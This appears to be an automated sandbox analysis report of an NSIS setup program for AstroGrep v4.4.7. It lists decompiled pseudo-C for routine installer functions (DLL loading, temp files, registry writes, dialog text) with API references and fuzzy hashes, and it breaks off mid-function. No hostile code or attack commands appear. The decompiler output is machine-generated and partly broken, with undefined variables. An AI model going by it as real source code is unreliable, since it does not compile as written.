Associated: 00000004.00000002.2477540766.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477547820.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477551190.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477565325.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477568846.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477571695.000000000044A000.00000002.00020000.sdmp Download File

Similarity

API ID: CountTick$wsprintf
String ID: DA$ DA$... %d%%
API String ID: 551687249-812340929
Opcode ID: b0f513271c1a83bc471fa901ef2bc32ccb086deb6a09a4945f80e62eb28f2c3f
Instruction ID: 91ee06cea14faca46f7a5a314d1b96781db6e884ff6161e1c143c8ea96f9570f
Opcode Fuzzy Hash: b0f513271c1a83bc471fa901ef2bc32ccb086deb6a09a4945f80e62eb28f2c3f
Instruction Fuzzy Hash: FB51907190120A9BDB10DF65EA44B9F7BB8EF44756F10813BE800B72C4D7788E51DBAA

Uniqueness

Uniqueness Score: -1.00%

Function 0040605A, Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040605A(intOrPtr _a4) {
				char _v292;
				int _t10;
				struct HINSTANCE__* _t14;
				void* _t16;
				void* _t21;

				_t10 = GetSystemDirectoryA( &_v292, 0x104);
				if(_t10 > 0x104) {
					_t10 = 0;
				}
				if(_t10 == 0 ||  *((char*)(_t21 + _t10 - 0x121)) == 0x5c) {
					_t16 = 1;
				} else {
					_t16 = 0;
				}
				_t5 = _t16 + 0x409014; // 0x5c
				wsprintfA(_t21 + _t10 - 0x120, "%s%s.dll", _t5, _a4);
				_t14 = LoadLibraryExA( &_v292, 0, 8); // executed
				return _t14;
			}

0x00406071
0x0040607a
0x0040607c
0x0040607c
0x00406080
0x00406092
0x0040608c
0x0040608c
0x0040608c
0x00406096
0x004060aa
0x004060be
0x004060c5

APIs

GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00406071
wsprintfA.USER32 ref: 004060AA
LoadLibraryExA.KERNELBASE(?,00000000,00000008), ref: 004060BE

Strings

\, xrefs: 00406082
%s%s.dll, xrefs: 004060A4
UXTHEME, xrefs: 00406063

Memory Dump Source

Source File: 00000004.00000002.2477543784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2477540766.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477547820.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477551190.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477565325.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477568846.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477571695.000000000044A000.00000002.00020000.sdmp Download File

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%s.dll$UXTHEME$\
API String ID: 2200240437-4240819195
Opcode ID: 38f932dad6d10820f3564912fa7e39c047c8ada2afd73a6a353afcde48b08f1a
Instruction ID: e3f146f71c0a6e9640e358317deb724d3a5625ccb5f8d81b259ee964bec3998a
Opcode Fuzzy Hash: 38f932dad6d10820f3564912fa7e39c047c8ada2afd73a6a353afcde48b08f1a
Instruction Fuzzy Hash: D0F0FC3095010566DB14DB74DD0DFEB375CAB08305F14017AA647E11D1D974F9248B69

Uniqueness

Uniqueness Score: -1.00%

Function 004026C6, Relevance: 9.1, APIs: 6, Instructions: 86
memoryfileCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E004026C6(int __ebx) {
				void* _t26;
				long _t31;
				void* _t36;
				intOrPtr _t39;
				int _t45;
				void* _t49;
				void* _t51;
				void* _t54;
				void* _t55;
				void* _t56;

				_t45 = __ebx;
				 *((intOrPtr*)(_t56 - 0xc)) = 0xfffffd66;
				_t50 = E00402A3A(0xfffffff0);
				 *(_t56 - 0x38) = _t23;
				if(E0040580E(_t50) == 0) {
					E00402A3A(0xffffffed);
				}
				E0040597D(_t50);
				_t26 = E004059A2(_t50, 0x40000000, 2);
				 *(_t56 + 8) = _t26;
				if(_t26 != 0xffffffff) {
					_t31 =  *0x42e414;
					 *(_t56 - 0x30) = _t31;
					_t49 = GlobalAlloc(0x40, _t31);
					if(_t49 != _t45) {
						E004030C7(_t45);
						E004030B1(_t49,  *(_t56 - 0x30));
						_t36 = GlobalAlloc(0x40,  *(_t56 - 0x20)); // executed
						_t54 = _t36;
						 *(_t56 - 0x34) = _t54;
						if(_t54 != _t45) {
							E00402E9F( *((intOrPtr*)(_t56 - 0x24)), _t45, _t54,  *(_t56 - 0x20)); // executed
							while( *_t54 != _t45) {
								_t47 =  *_t54;
								_t55 = _t54 + 8;
								 *(_t56 - 0x50) =  *_t54;
								E0040595D( *((intOrPtr*)(_t54 + 4)) + _t49, _t55, _t47);
								_t54 = _t55 +  *(_t56 - 0x50);
							}
							GlobalFree( *(_t56 - 0x34));
						}
						E00405A49( *(_t56 + 8), _t49,  *(_t56 - 0x30)); // executed
						GlobalFree(_t49);
						_t39 = E00402E9F(0xffffffff,  *(_t56 + 8), _t45, _t45); // executed
						 *((intOrPtr*)(_t56 - 0xc)) = _t39;
					}
					CloseHandle( *(_t56 + 8)); // executed
				}
				_t51 = 0xfffffff3;
				if( *((intOrPtr*)(_t56 - 0xc)) < _t45) {
					_t51 = 0xffffffef;
					DeleteFileA( *(_t56 - 0x38));
					 *((intOrPtr*)(_t56 - 4)) = 1;
				}
				_push(_t51);
				E00401423();
				 *0x42e488 =  *0x42e488 +  *((intOrPtr*)(_t56 - 4));
				return 0;
			}

0x004026c6
0x004026c8
0x004026d4
0x004026d7
0x004026e1
0x004026e5
0x004026e5
0x004026eb
0x004026f8
0x00402700
0x00402703
0x00402709
0x00402717
0x0040271c
0x00402720
0x00402723
0x0040272c
0x00402736
0x00402738
0x0040273c
0x0040273f
0x00402749
0x00402768
0x00402750
0x00402755
0x0040275d
0x00402760
0x00402765
0x00402765
0x0040276f
0x0040276f
0x0040277c
0x00402782
0x0040278f
0x00402794
0x00402794
0x0040279a
0x0040279a
0x004027a5
0x004027a6
0x004027aa
0x004027ae
0x004027b4
0x004027b4
0x004027bb
0x004021c4
0x004028d2
0x004028de

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,?,000000F0), ref: 0040271A
GlobalAlloc.KERNELBASE(00000040,?,00000000,?,?,?,?,?,000000F0), ref: 00402736
GlobalFree.KERNEL32(?), ref: 0040276F
GlobalFree.KERNEL32(00000000), ref: 00402782
CloseHandle.KERNELBASE(?), ref: 0040279A
DeleteFileA.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,?,?,?,000000F0), ref: 004027AE

Memory Dump Source

Source File: 00000004.00000002.2477543784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2477540766.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477547820.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477551190.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477565325.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477568846.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477571695.000000000044A000.00000002.00020000.sdmp Download File

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: 23eb269eb40f2f795cc15751a44fbd64e932c0e3b8efc6f49af47646beb8117c
Instruction ID: 5d6717e5ef000630179c441ec4dabf90fe6e4dbd5b0bc7dedcefa97c90ee8361
Opcode Fuzzy Hash: 23eb269eb40f2f795cc15751a44fbd64e932c0e3b8efc6f49af47646beb8117c
Instruction Fuzzy Hash: 1D215E71800124BBCF216FA5CE49EAE7E79EF09324F14423AF910762D1D7795D418FA9

Uniqueness

Uniqueness Score: -1.00%

Function 00404709, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 84
stringCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E00404709(int _a4, intOrPtr _a8, signed int _a12, signed int _a16) {
				char _v36;
				char _v68;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t21;
				signed int _t22;
				void* _t29;
				void* _t31;
				void* _t32;
				int _t35;
				void* _t41;
				signed int _t43;
				signed int _t47;
				signed int _t50;
				signed int _t51;
				signed int _t53;

				_t21 = _a16;
				_t51 = _a12;
				_t41 = 0xffffffdc;
				if(_t21 == 0) {
					_push(0x14);
					_pop(0);
					_t22 = _t51;
					if(_t51 < 0x100000) {
						_push(0xa);
						_pop(0);
						_t41 = 0xffffffdd;
					}
					if(_t51 < 0x400) {
						_t41 = 0xffffffde;
					}
					if(_t51 < 0xffff3333) {
						_t50 = 0x14;
						asm("cdq");
						_t22 = 1 / _t50 + _t51;
					}
					_t23 = _t22 & 0x00ffffff;
					_t53 = _t22 >> 0;
					_t43 = 0xa;
					_t47 = ((_t22 & 0x00ffffff) + _t23 * 4 + (_t22 & 0x00ffffff) + _t23 * 4 >> 0) % _t43;
				} else {
					_t53 = (_t21 << 0x00000020 | _t51) >> 0x14;
					_t47 = 0;
				}
				_t29 = E00405D51(_t41, _t47, _t53,  &_v36, 0xffffffdf);
				_t31 = E00405D51(_t41, _t47, _t53,  &_v68, _t41);
				_t32 = E00405D51(_t41, _t47, 0x429868, 0x429868, _a8);
				wsprintfA(_t32 + lstrlenA(0x429868), "%u.%u%s%s", _t53, _t47, _t31, _t29);
				_t35 = SetDlgItemTextA( *0x42dbd8, _a4, 0x429868); // executed
				return _t35;
			}

0x0040470f
0x00404714
0x0040471c
0x0040471d
0x0040472a
0x00404732
0x00404733
0x00404735
0x00404737
0x00404739
0x0040473c
0x0040473c
0x00404743
0x00404749
0x00404749
0x00404750
0x00404757
0x0040475a
0x0040475d
0x0040475d
0x00404761
0x00404771
0x00404773
0x00404776
0x0040471f
0x0040471f
0x00404726
0x00404726
0x0040477e
0x00404789
0x0040479f
0x004047af
0x004047c2
0x004047cb

APIs

lstrlenA.KERNEL32(AstroGrep v4.4.7 Setup ,AstroGrep v4.4.7 Setup ,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,00404624,000000DF,00000000,00000400,?), ref: 004047A7
wsprintfA.USER32 ref: 004047AF
SetDlgItemTextA.USER32(?,AstroGrep v4.4.7 Setup ), ref: 004047C2

Strings

%u.%u%s%s, xrefs: 00404791
AstroGrep v4.4.7 Setup , xrefs: 00404799, 0040479E, 004047A4, 004047B8

Memory Dump Source

Source File: 00000004.00000002.2477543784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2477540766.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477547820.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477551190.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477565325.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477568846.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477571695.000000000044A000.00000002.00020000.sdmp Download File

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$AstroGrep v4.4.7 Setup
API String ID: 3540041739-3341080892
Opcode ID: 935ee2909ce3d91a1e0ef8c8852d81f66e795bf13d31c63d3c36d76b3f3a4298
Instruction ID: 053aaa49463ee093dad042f908cd6657d31450f6c5b0c7846562dfb37f065ee1
Opcode Fuzzy Hash: 935ee2909ce3d91a1e0ef8c8852d81f66e795bf13d31c63d3c36d76b3f3a4298
Instruction Fuzzy Hash: 0E11E473A041283BDB0065A99C45EAF3288DB82374F254237FA25F71D1EA78CC1286A8

Uniqueness

Uniqueness Score: -1.00%

Function 00402364, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71
registrystringCOMMON

Download Yara Rule

C-Code - Quality: 85%

			E00402364(void* __eax) {
				void* _t15;
				char* _t18;
				int _t19;
				long _t22;
				char _t24;
				int _t27;
				intOrPtr _t35;
				void* _t37;

				_t15 = E00402B2F(__eax);
				_t35 =  *((intOrPtr*)(_t37 - 0x18));
				 *(_t37 - 0x34) =  *(_t37 - 0x14);
				 *(_t37 - 0x38) = E00402A3A(2);
				_t18 = E00402A3A(0x11);
				 *(_t37 - 4) = 1;
				_t19 = RegCreateKeyExA(_t15, _t18, _t27, _t27, _t27,  *0x42e4b0 | 0x00000002, _t27, _t37 + 8, _t27); // executed
				if(_t19 == 0) {
					if(_t35 == 1) {
						E00402A3A(0x23);
						_t19 = lstrlenA(0x409c10) + 1;
					}
					if(_t35 == 4) {
						_t24 = E00402A1D(3);
						 *0x409c10 = _t24;
						_t19 = _t35;
					}
					if(_t35 == 3) {
						_t19 = E00402E9F( *((intOrPtr*)(_t37 - 0x1c)), _t27, 0x409c10, 0xc00);
					}
					_t22 = RegSetValueExA( *(_t37 + 8),  *(_t37 - 0x38), _t27,  *(_t37 - 0x34), 0x409c10, _t19); // executed
					if(_t22 == 0) {
						 *(_t37 - 4) = _t27;
					}
					_push( *(_t37 + 8));
					RegCloseKey(); // executed
				}
				 *0x42e488 =  *0x42e488 +  *(_t37 - 4);
				return 0;
			}

0x00402365
0x0040236a
0x00402374
0x0040237e
0x00402381
0x0040239b
0x004023a2
0x004023aa
0x004023b8
0x004023bc
0x004023c7
0x004023c7
0x004023cb
0x004023cf
0x004023d5
0x004023da
0x004023da
0x004023de
0x004023ea
0x004023ea
0x004023fb
0x00402403
0x00402405
0x00402405
0x00402408
0x004024d8
0x004024d8
0x004028d2
0x004028de

APIs

RegCreateKeyExA.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004023A2
lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsa2731.tmp,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 004023C2
RegSetValueExA.KERNEL32(?,?,?,?,C:\Users\user\AppData\Local\Temp\nsa2731.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004023FB
RegCloseKey.KERNEL32(?,?,?,C:\Users\user\AppData\Local\Temp\nsa2731.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024D8

Strings

C:\Users\user\AppData\Local\Temp\nsa2731.tmp, xrefs: 004023B3, 004023D5, 004023E5, 004023F0

Memory Dump Source

Source File: 00000004.00000002.2477543784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2477540766.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477547820.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477551190.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477565325.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477568846.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477571695.000000000044A000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseCreateValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsa2731.tmp
API String ID: 1356686001-2500654939
Opcode ID: 0b7ce92ed5109c362c2d34632f72a8d91888c561e4c423054677ea15aa728ce6
Instruction ID: f509f4240a3e10e7eaa3df5a693eb391f4e90e3bb863c7dbc5285fb3648b227d
Opcode Fuzzy Hash: 0b7ce92ed5109c362c2d34632f72a8d91888c561e4c423054677ea15aa728ce6
Instruction Fuzzy Hash: 6B117571E00108BFEB10EBA5DE89EAF767DEB54358F10403AF605B71D1D6B85D419B28

Uniqueness

Uniqueness Score: -1.00%

Function 0040588F, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 46
stringCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E0040588F(void* __eflags, intOrPtr _a4) {
				int _t11;
				signed char* _t12;
				long _t16;
				intOrPtr _t18;
				intOrPtr* _t21;
				void* _t22;

				E00405D2F(0x42ac70, _a4);
				_t21 = E0040583A(0x42ac70);
				if(_t21 != 0) {
					E00405F9A(_t21);
					if(( *0x42e418 & 0x00000080) == 0) {
						L5:
						_t22 = _t21 - 0x42ac70;
						while(1) {
							_t11 = lstrlenA(0x42ac70);
							_push(0x42ac70);
							if(_t11 <= _t22) {
								break;
							}
							_t12 = E00406033();
							if(_t12 == 0 || ( *_t12 & 0x00000010) != 0) {
								E004057E8(0x42ac70);
								continue;
							} else {
								goto L1;
							}
						}
						E004057A1();
						_t16 = GetFileAttributesA(??); // executed
						return 0 | _t16 != 0xffffffff;
					}
					_t18 =  *_t21;
					if(_t18 == 0 || _t18 == 0x5c) {
						goto L1;
					} else {
						goto L5;
					}
				}
				L1:
				return 0;
			}

0x0040589b
0x004058a6
0x004058aa
0x004058b1
0x004058bd
0x004058c9
0x004058c9
0x004058e1
0x004058e2
0x004058e9
0x004058ea
0x00000000
0x00000000
0x004058cd
0x004058d4
0x004058dc
0x00000000
0x00000000
0x00000000
0x00000000
0x004058d4
0x004058ec
0x004058f2
0x00000000
0x00405900
0x004058bf
0x004058c3
0x00000000
0x00000000
0x00000000
0x00000000
0x004058c3
0x004058ac
0x00000000

APIs

Part of subcall function 00405D2F: lstrcpynA.KERNEL32(?,?,00000400,004031BD,AstroGrep v4.4.7 Setup,NSIS Error), ref: 00405D3C

Part of subcall function 0040583A: CharNextA.USER32(?), ref: 00405848
Part of subcall function 0040583A: CharNextA.USER32(00000000), ref: 0040584D
Part of subcall function 0040583A: CharNextA.USER32(00000000), ref: 00405861

lstrlenA.KERNEL32(C:\,00000000,C:\,C:\,T'qv,?,C:\Users\user\AppData\Local\Temp\,004055F1,?,76712754,C:\Users\user\AppData\Local\Temp\,00000000), ref: 004058E2
GetFileAttributesA.KERNELBASE(C:\,C:\,C:\,C:\,C:\,C:\,00000000,C:\,C:\,T'qv,?,C:\Users\user\AppData\Local\Temp\,004055F1,?,76712754,C:\Users\user\AppData\Local\Temp\), ref: 004058F2

Strings

T'qv, xrefs: 00405891
C:\Users\user\AppData\Local\Temp\, xrefs: 0040588F
C:\, xrefs: 00405895, 0040589A, 004058A0, 004058DB, 004058E1, 004058E9, 004058F1

Memory Dump Source

Source File: 00000004.00000002.2477543784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2477540766.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477547820.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477551190.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477565325.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477568846.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477571695.000000000044A000.00000002.00020000.sdmp Download File

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: C:\$C:\Users\user\AppData\Local\Temp\$T'qv
API String ID: 3248276644-2818583928
Opcode ID: db8bdf16e861f9482455b6e3180b19c0ec0d0437e7b2793ecf43ff70ccde9147
Instruction ID: 9b9a112432e638448ae222c580828ae1e9a3246b43ea9c19d715dfb55d3aa95b
Opcode Fuzzy Hash: db8bdf16e861f9482455b6e3180b19c0ec0d0437e7b2793ecf43ff70ccde9147
Instruction Fuzzy Hash: 1CF0F427105D6156E622323A5C49A9F1A54CE86324718C53BFC50B22C2CA3C88639D7E

Uniqueness

Uniqueness Score: -1.00%

Function 004059D1, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 33
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004059D1(char _a4, intOrPtr _a6, CHAR* _a8) {
				char _t11;
				signed int _t12;
				int _t15;
				signed int _t17;
				void* _t20;
				CHAR* _t21;

				_t21 = _a4;
				_t20 = 0x64;
				while(1) {
					_t11 =  *0x4093ac; // 0x61736e
					_t20 = _t20 - 1;
					_a4 = _t11;
					_t12 = GetTickCount();
					_t17 = 0x1a;
					_a6 = _a6 + _t12 % _t17;
					_t15 = GetTempFileNameA(_a8,  &_a4, 0, _t21); // executed
					if(_t15 != 0) {
						break;
					}
					if(_t20 != 0) {
						continue;
					}
					 *_t21 =  *_t21 & 0x00000000;
					return _t15;
				}
				return _t21;
			}

0x004059d5
0x004059db
0x004059dc
0x004059dc
0x004059e1
0x004059e2
0x004059e5
0x004059ef
0x004059fc
0x004059ff
0x00405a07
0x00000000
0x00000000
0x00405a0b
0x00000000
0x00000000
0x00405a0d
0x00000000
0x00405a0d
0x00000000

APIs

GetTickCount.KERNEL32(76712754,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE" ,0040310D,1033,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004032FF), ref: 004059E5
GetTempFileNameA.KERNEL32(?,?,00000000,?), ref: 004059FF

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004059D4
nsa, xrefs: 004059DC
"C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE" , xrefs: 004059D1

Memory Dump Source

Source File: 00000004.00000002.2477543784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2477540766.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477547820.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477551190.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477565325.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477568846.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477571695.000000000044A000.00000002.00020000.sdmp Download File

Similarity

API ID: CountFileNameTempTick
String ID: "C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE" $C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-1230704291
Opcode ID: a71f6d19a672690ae76045f6a92713abfaab32ef542e638d1cc3651a1fbf987a
Instruction ID: dd1ff100f75867a5ea1a308fa9af71207a38e4cfd515e0737c49d63577dfb4aa
Opcode Fuzzy Hash: a71f6d19a672690ae76045f6a92713abfaab32ef542e638d1cc3651a1fbf987a
Instruction Fuzzy Hash: D0F0E2327082047BDB109F15EC04B9B7B9CDFD1720F10C037FA04EA1C0D2B198448B98

Uniqueness

Uniqueness Score: -1.00%

Function 00401F90, Relevance: 7.6, APIs: 5, Instructions: 73
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 60%

			E00401F90(void* __ebx, void* __eflags) {
				struct HINSTANCE__* _t18;
				struct HINSTANCE__* _t26;
				void* _t27;
				struct HINSTANCE__* _t30;
				CHAR* _t32;
				intOrPtr* _t33;
				void* _t34;

				_t27 = __ebx;
				asm("sbb eax, 0x42e4b8");
				 *(_t34 - 4) = 1;
				if(__eflags < 0) {
					_push(0xffffffe7);
					L15:
					E00401423();
					L16:
					 *0x42e488 =  *0x42e488 +  *(_t34 - 4);
					return 0;
				}
				_t32 = E00402A3A(0xfffffff0);
				 *(_t34 + 8) = E00402A3A(1);
				if( *((intOrPtr*)(_t34 - 0x18)) == __ebx) {
					L3:
					_t18 = LoadLibraryExA(_t32, _t27, 8); // executed
					_t30 = _t18;
					if(_t30 == _t27) {
						_push(0xfffffff6);
						goto L15;
					}
					L4:
					_t33 = GetProcAddress(_t30,  *(_t34 + 8));
					if(_t33 == _t27) {
						E00404F48(0xfffffff7,  *(_t34 + 8));
					} else {
						 *(_t34 - 4) = _t27;
						if( *((intOrPtr*)(_t34 - 0x20)) == _t27) {
							 *_t33( *((intOrPtr*)(_t34 - 8)), 0x400, 0x42f000, 0x40a814, 0x409000); // executed
						} else {
							E00401423( *((intOrPtr*)(_t34 - 0x20)));
							if( *_t33() != 0) {
								 *(_t34 - 4) = 1;
							}
						}
					}
					if( *((intOrPtr*)(_t34 - 0x1c)) == _t27 && E0040364F(_t30) != 0) {
						FreeLibrary(_t30); // executed
					}
					goto L16;
				}
				_t26 = GetModuleHandleA(_t32); // executed
				_t30 = _t26;
				if(_t30 != __ebx) {
					goto L4;
				}
				goto L3;
			}

0x00401f90
0x00401f90
0x00401f95
0x00401f9c
0x00402057
0x004021c4
0x004021c4
0x004028cf
0x004028d2
0x004028de
0x004028de
0x00401fab
0x00401fb5
0x00401fb8
0x00401fc7
0x00401fcb
0x00401fd1
0x00401fd5
0x00402050
0x00000000
0x00402050
0x00401fd7
0x00401fe0
0x00401fe4
0x00402028
0x00401fe6
0x00401fe9
0x00401fec
0x0040201c
0x00401fee
0x00401ff1
0x00401ffa
0x00401ffc
0x00401ffc
0x00401ffa
0x00401fec
0x00402030
0x00402045
0x00402045
0x00000000
0x00402030
0x00401fbb
0x00401fc1
0x00401fc5
0x00000000
0x00000000
0x00000000

APIs

GetModuleHandleA.KERNELBASE(00000000,00000001,000000F0), ref: 00401FBB
LoadLibraryExA.KERNELBASE(00000000,?,00000008,00000001,000000F0), ref: 00401FCB
GetProcAddress.KERNEL32(00000000,?,?,00000008,00000001,000000F0), ref: 00401FDB
KiUserCallbackDispatcher.NTDLL(?,00000400,0042F000,0040A814,00409000,00000000,?,?,00000008,00000001,000000F0), ref: 0040201C

Part of subcall function 00404F48: lstrlenA.KERNEL32(Remove folder: C:\Users\user\AppData\Local\Temp\nsa2731.tmp\,00000000,00641654,766F110C,?,?,?,?,?,?,?,?,?,00402FFA,00000000,?), ref: 00404F81
Part of subcall function 00404F48: lstrlenA.KERNEL32(00402FFA,Remove folder: C:\Users\user\AppData\Local\Temp\nsa2731.tmp\,00000000,00641654,766F110C,?,?,?,?,?,?,?,?,?,00402FFA,00000000), ref: 00404F91
Part of subcall function 00404F48: lstrcatA.KERNEL32(Remove folder: C:\Users\user\AppData\Local\Temp\nsa2731.tmp\,00402FFA,00402FFA,Remove folder: C:\Users\user\AppData\Local\Temp\nsa2731.tmp\,00000000,00641654,766F110C), ref: 00404FA4
Part of subcall function 00404F48: SetWindowTextA.USER32(Remove folder: C:\Users\user\AppData\Local\Temp\nsa2731.tmp\,Remove folder: C:\Users\user\AppData\Local\Temp\nsa2731.tmp\), ref: 00404FB6
Part of subcall function 00404F48: SendMessageA.USER32 ref: 00404FDC
Part of subcall function 00404F48: SendMessageA.USER32 ref: 00404FF6
Part of subcall function 00404F48: SendMessageA.USER32 ref: 00405004

FreeLibrary.KERNELBASE(00000000,00000000,000000F7,?,00000000,?,?,00000008,00000001,000000F0), ref: 00402045

Memory Dump Source

Source File: 00000004.00000002.2477543784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2477540766.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477547820.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477551190.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477565325.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477568846.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477571695.000000000044A000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend$Librarylstrlen$AddressCallbackDispatcherFreeHandleLoadModuleProcTextUserWindowlstrcat
String ID:
API String ID: 4236411475-0
Opcode ID: ecaf098429e0e505db7c94a629eab76e641ecf75286b0b2ff4941b9a01402ab5
Instruction ID: 2138191ccfc75e686ed6e38fe7ddd30e16a5f0053d2c4fe6557c99b01bfc6870
Opcode Fuzzy Hash: ecaf098429e0e505db7c94a629eab76e641ecf75286b0b2ff4941b9a01402ab5
Instruction Fuzzy Hash: 58212B72904211EBDF217F658E4CAAE3671AB45318F30423BF701B62D0D7BC4946D66E

Uniqueness

Uniqueness Score: -1.00%

Function 00401BCA, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76
windowtimeCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E00401BCA() {
				signed int _t28;
				CHAR* _t31;
				long _t32;
				int _t37;
				signed int _t38;
				int _t42;
				int _t48;
				struct HWND__* _t52;
				void* _t55;

				 *(_t55 - 8) = E00402A1D(3);
				 *(_t55 + 8) = E00402A1D(4);
				if(( *(_t55 - 0x14) & 0x00000001) != 0) {
					 *((intOrPtr*)(__ebp - 8)) = E00402A3A(0x33);
				}
				__eflags =  *(_t55 - 0x14) & 0x00000002;
				if(( *(_t55 - 0x14) & 0x00000002) != 0) {
					 *(_t55 + 8) = E00402A3A(0x44);
				}
				__eflags =  *((intOrPtr*)(_t55 - 0x2c)) - 0x21;
				_push(1);
				if(__eflags != 0) {
					_t50 = E00402A3A();
					_t28 = E00402A3A();
					asm("sbb ecx, ecx");
					asm("sbb eax, eax");
					_t31 =  ~( *_t27) & _t50;
					__eflags = _t31;
					_t32 = FindWindowExA( *(_t55 - 8),  *(_t55 + 8), _t31,  ~( *_t28) & _t28); // executed
					goto L10;
				} else {
					_t52 = E00402A1D();
					_t37 = E00402A1D();
					_t48 =  *(_t55 - 0x14) >> 2;
					if(__eflags == 0) {
						_t32 = SendMessageA(_t52, _t37,  *(_t55 - 8),  *(_t55 + 8)); // executed
						L10:
						 *(_t55 - 0xc) = _t32;
					} else {
						_t38 = SendMessageTimeoutA(_t52, _t37,  *(_t55 - 8),  *(_t55 + 8), _t42, _t48, _t55 - 0xc);
						asm("sbb eax, eax");
						 *((intOrPtr*)(_t55 - 4)) =  ~_t38 + 1;
					}
				}
				__eflags =  *((intOrPtr*)(_t55 - 0x28)) - _t42;
